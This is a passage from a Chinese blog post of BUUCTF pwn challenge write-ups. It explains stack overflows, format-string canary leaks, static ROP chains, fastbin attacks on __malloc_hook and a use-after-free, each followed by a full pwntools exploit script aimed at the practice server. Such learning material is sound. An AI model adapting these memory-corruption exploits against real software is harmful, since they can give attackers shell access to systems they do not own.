Featured image of post buuctf第二页(收录部分)

buuctf第二页(收录部分)

挑选相对个人来说有意义的题

非堆题

mrctf2020_shellcode

ret2shellcode。 但是附件看不了反汇编,要求直接读汇编代码

栈溢出不行 直接发shellcode(好无聊的题)

bjdctf_2020_babyrop2

main中有gift和vuln函数
gift函数可输入6个字节
gdb开调,canary再rbp-0x8处,栈上则使第七个参数(8字节算),填充完buf到canary
泄露出来刚好第六个位置为aa 覆盖完ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF('./1')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",27172)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ret=0x4005f9
pop_rdi=0x400993

ru("u!\n") #这里直接recv()竟然会出错
sl('%7$p')

canary=int(rc(18),16)
log.success('canary:'+hex(canary))
io.recv()

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['vuln'])
sl(payload)

text=io.recv()
puts_addr=u64(text.ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
sl(payload)
io.interactive()

inndy_rop——ropchain的利用与静态编译

静态编译

如图,程序在IDA打开后,左侧函数栏并没有红色部分(也就是系统调用函数!) 所以一般这种静态编译的文件大小也会比一般pwn题大,既然没有调用库函数的话,那我们也没办法拿来ret2libc,用ropchain来构造rop链call system('/bin/sh')

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
io=remote("node5.buuoj.cn",28945)
p = b'a'*(12+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)
io.interactive()

事实上由于题目的输入限制都是有限的,所以ropchain无法使用,不过如果我们对ropchian简单的修改缩减或许就会有很大的帮助

cmcc_simplerop

也是一道静态编译题,但是空间不够大。需要简化ropchain或者直接系统调用,当然你迁移过去再搞ropchain也没问题(

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25288)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
int_80=0x080493e1
bss_buf=0x080EAF85
payload=flat([
    b'a'*0x20,
    p32(elf.sym['read']),
    p32(pop_edx_ecx_ebx),
    p32(0),
    p32(bss_buf),
    p32(0x200),
    p32(pop_eax),
    p32(0xb), #调用execve
    p32(pop_edx_ecx_ebx),
    p32(0)*2+p32(bss_buf),
    p32(int_80)])
io.recv()
sl(payload)
sl(b"/bin/sh\x00")
io.interactive()

pwnable_orw

保护

沙箱(secure computing),orw可用
长这样,先prctl禁止提权(prctl宏定义可在prctl.h中看),然后限制orw,手写orw或用shellcraft的集成功能

堆题部分

babyheap_0ctf_2017 ♥

保护全开
菜单题
新增堆块,可以自定义大小,不超过4096,申请成功将该区域置标记为1,v3根据v2大小获得一个指针,指向分配的堆空间
fill部分,用户根据需要提供修改的堆块的index和修改的size——但是size可以任意构造 free就是free,将使用位置标记改为0并申请空间释放,指针也指为0 dump函数会根据堆块index索引显示堆块内容,可以考虑泄露堆空间上内容

解题

patchelf

由于本地glibc版本过高,所以我们在做题之前要同步一下环境,不然fastbins会根据新glibc改为tcachebins

1
2
patchelf --add-needed ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6  ./pwn
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2  ./pwn

思路

  1. unsortedbin在一个chunk被free后归入其中时,其表头会指向这个被free的chunk,chunk的fd指向之前被free的chunk,如果没有就会指回表头,
  2. 而我们这题我们要用到__malloc_hook,这东西在我们调用malloc创建新的堆块的时候便会调用
  3. 如果我们能够操控这个hook,通过call调用它的地址的时候,如果其中是system地址,就可以getshell 这题的环境是ubuntu16,__malloc_hook的函数地址偏移是固定的,我们通过main_arena、unsortedbin计算偏移最后就能得到,main_arena的确定得用到fastbin attack

简单来说,free chunk通过单链表进行维护,如果在free后没有将指针置零的话,那么arena的bin头的fd指针会指向申请的chunk上的fd,如果我们可以操控这个指针指向的地址,那么chunk的fd指针就会指向目标地址!只要我们再次申请这个chunk块,bin头指针自然就指向这个目标地址了!

1
2
3
4
5
allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #3
free(1)

这样构造堆结构以后, 呈现为fastbin->chunk1的结构

1
2
payload=cyclic(0x80+8)+p64(0x80+0x10+0x80+0x10+1)
fill(0,payload)

覆写chunk0 0x8覆写chunk1 prev_size
allocate(0x80+0x10+0x80)申请堆块,并且刚好到chunk2

然后我们改写chunk2的size,使得一部分可以进入到unsorted bin中(虽然这样会导致一部分溢出到chunk3中,但是问题不大) 然后free(2)就可以获得指向main_arena的指针信息,通过dump(1)打印

之后打fastbin attack,通过改写malloc_hook指针指向one_gadget即可

exp

点击展开
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context(log_level='debug',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
#elf=ELF("./pwn")
libc=ELF("libc-2.23.so")
io=remote("node5.buuoj.cn",29971)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def allocate(size):
    sla("Command:",'1')
    sla("Size: ",str(size))

def fill(index,content):
    sla("Command:",'2')
    sla("Index: ",str(index))
    sla("Size: ",str(len(content)))
    sla('Content: ', content)

def free(index):
    sla("Command:",'3')
    sla("Index: ",str(index))

def dump(index):
    sla("Command:",'4')
    sla("Index: ",str(index))
    ru('Content: ')


##########################
#   unsorted bin attack  #
##########################

allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #4
free(1)

payload=b'a'*(0x80+8)+p64(0x80+0x10+0x80+0x10+1) #填充堆块并构建大堆块 0x8覆盖prev_size,并且+1表示上一个堆块正使用
fill(0,payload)
allocate(0x80+0x10+0x80) #申请堆块,1处释放堆块根据大小提供

payload=b'a'*(0x80+8)+p64((0x80+0x10+1)) #准备构建unsorted bin
fill(1,payload)
free(2) #free后由于上面塞入的0x80+0x10+1,free 的chunk2进入unsorted bin,又因为设置为1,fd/bk会指向固定的main_arena偏移处
dump(1)

rc(0x90+8) #content data部分
fd_addr=u64(rc(8))
log.success("fd_addr:"+hex(fd_addr))
main_arena_addr=fd_addr-0x58
malloc_hook_addr=main_arena_addr-0x10

libc_base=malloc_hook_addr-libc.sym['__malloc_hook']

allocate(0x80)
allocate(0x60)
allocate(0x60)

free(5)

#这一块我们正常覆写chunk4和chunk5的prev_size,
#然后改写fd指针指向到malloc_hook附近后,由于堆管理器的错误判断,我们幸运的可以获得这一个假的chunk,将bk指针修改为0后我们就可以合理地去通过分配这一块触发我们的one_gadget了
payload=b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0)
fill(4, payload)
allocate(0x60)
allocate(0x60)

#pause()
execve_bin_sh_addr = libc_base + 0x4526a

payload=b'a'*0x13+p64(execve_bin_sh_addr)

fill(6,payload)

allocate(0x10)

io.interactive()

[ZJCTF 2019]EasyHeap

保护
菜单题
create heap

  • heaparray[i]存放chunk地址
  • read_input(heaparray+i,size)写入chunk大小
  • 跳转查看后heap_array在bss段上
    edit_heap() 读v0大小到指定chunk中,但是v0比create大就溢出了
    delete中free时会将指针置0,所以不存在UFA,
    后门 ,或许修改掉magic就可执行 PIE没开,heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3
add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins,并修改指针到heaparray_addr的地址,下次申请时先申请到heap2,再到存放堆数组指针的地方申请作为伪装堆

非常好,-0x33初刚好找到我们需要的大小来构造0x7f的chunk,然后通过溢出去修改heaparray[0]

1
2
3
4
5
6
add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻,所以我们填充完一整个chunk1时prevsize,然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got,利用unlink将free_got修改到system去,then——free(1),由于free_got修改到system,直接执行system('/bin/sh')

exp

点击展开
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
    sla("Your choice :",'1')
    sla("Size of Heap : ",str(size))
    sla("Content of heap:",content)

def edit(idx,size,content):
    sla("Your choice :",'2')
    sla("Index :",str(idx))
    sla("Size of Heap : ",str(size))
    sla("Content of heap : ",content)

def free(idx):
    sla("Your choice :",'3')
    sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1) 


io.interactive()

hitcontraining_uaf

uaf,main:

free后没有清除指针,可以uaf
添加chunk,最多5个,notelist[i]是malloc分配的堆,第一个chunk默认分配(每次都有一个),用来存放puts函数(print用的),之后的可以控制,而且有magic提供后门函数,notelist[i][1]是利用malloc分配的我们的堆,之后可以读入
欸但是由于free只是把内容放空,所以我们即使free掉了前面的chunk,i继续增加,指针仍指向原来的chunk
大概是这样,分配两个fastbin大小堆块,free后malloc一个8Bytes的chunk,它会直接写入到chunk0的puts中,由于chunk2的sub_chunk指了回去,最后修改到chunk0的指针到magic
我们再次申请的时候由于sub_chunk的原因,
申请完大小以后传入magic地址,fd=0x867f000这里会修改为print note的地址,我们之后打印堆块就会自动触发magic

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",26225)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
    sla("choice :","1")
    sla("Note size :",str(size))
    sla("Content :",content)

def delete(idx):
    sla("choice :","2")
    sla("Index :",str(idx))

def printf(idx):
    sla("choice :","3")
    sla("Index :",str(idx))

magic=elf.sym['magic']
add(48,'bbbb') #0+1
add(48,'cccc') #2+3
delete(0)
delete(1)
add(8,p32(magic))
printf(0)

io.interactive()
本博客已稳定运行
发表了36篇文章 · 总计9万5千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...